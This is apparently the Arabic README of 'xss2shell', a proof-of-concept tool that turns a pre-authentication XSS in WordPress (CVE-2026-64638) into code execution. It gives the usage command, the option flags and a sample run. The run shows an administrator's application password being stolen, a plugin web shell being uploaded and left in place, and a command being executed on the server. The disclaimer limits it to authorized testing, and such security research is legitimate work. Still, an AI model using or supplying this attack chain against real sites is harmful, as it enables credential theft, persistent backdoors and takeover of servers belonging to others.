
استغلال PoC لتحويل XSS قبل المصادقة إلى RCE في Wordpress (xss2shell و CVE-2026-64638)
XSS2Shell هو إثبات مفهوم تعليمي لثغرة CVE-2026-64638، يوضّح تأثير مشكلة XSS قبل المصادقة في تثبيتات WordPress القابلة للاختراق. بمشاركة صريحة من المدير (Administrator)، يلتقط الإثبات كلمة مرور تطبيق WordPress، وينشر صفحة مؤقتة، ويرفع ملحق اختبار، ويتحقق مما إذا كان بإمكان نقطة نهاية القشرة (shell endpoint) الناتجة تنفيذ أمر.
خلفية تقنية: WordPress Pre-Auth XSS to RCE: CVE-2026-64638
لأغراض التعليم والاختبار المصرّح به فقط. شغّل هذه الأداة فقط ضد مواقع WordPress التي تملكها أو لديك إذن كتابي لتقييمها. لا تستخدمها لاستهداف مدراء أطراف ثالثة أو أنظمة إنتاج.
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
| الخيار | مطلوب | الوصف |
|---|
-t, --target | نعم | عنوان WordPress الأساسي، بما في ذلك http:// أو https:// |
-c, --command | نعم | الأمر الذي سيتم تشغيله بعد أن تصبح القشرة متاحة |
--lhost | لا | عنوان IP للمستمع للربط والإعلان عنه؛ الافتراضي هو عنوان LAN المكتشف |
--lport | لا | منفذ المستمع؛ 0 يختار منفذًا متاحًا عشوائيًا |
--keep | لا | الاحتفاظ بالعناصر المنشورة بدلاً من حذف الصفحة المؤقتة |
يتم تطبيع عنوان الهدف تلقائيًا، لذا فإن الشرطة المائلة الأخيرة اختيارية.
/wp-login.php يمكن الوصول إليه ويبدو كصفحة تسجيل دخول WordPress.shell.php وتنفذ الأمر المطلوب.يجب أن يكون المستمع قابلاً للوصول من متصفح المدير. يمكن لقواعد NAT وجدار الحماية والوكيل وحظر النوافذ المنبثقة والمحتوى المختلط أن تمنع اكتمال تدفق المتصفح.
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
تقوم عمليات التشغيل الناجحة بحفظ كلمة مرور التطبيق الملتقطة في
xss2shell_creds.json لإعادة استخدامها في عمليات التشغيل اللاحقة. يتم حذف الصفحة المؤقتة المنشورة
تلقائيًا بعد الأمر ما لم يتم استخدام --keep.
يتم الاحتفاظ بملحق الاختبار ونقطة نهاية القشرة وكلمة مرور التطبيق وبيانات الاعتماد المحفوظة
عن قصد في الإثبات الحالي. قم بإزالتها يدويًا من موقع الاختبار
بعد تقييم مصرح به، واحذف xss2shell_creds.json محليًا.
تعامل مع ملف بيانات الاعتماد كملف حساس ولا تدفعه أبدًا إلى نظام التحكم في الإصدارات.
استخدم الترخيص المرفق في هذا المستودع.
صُنع بواسطة WordSec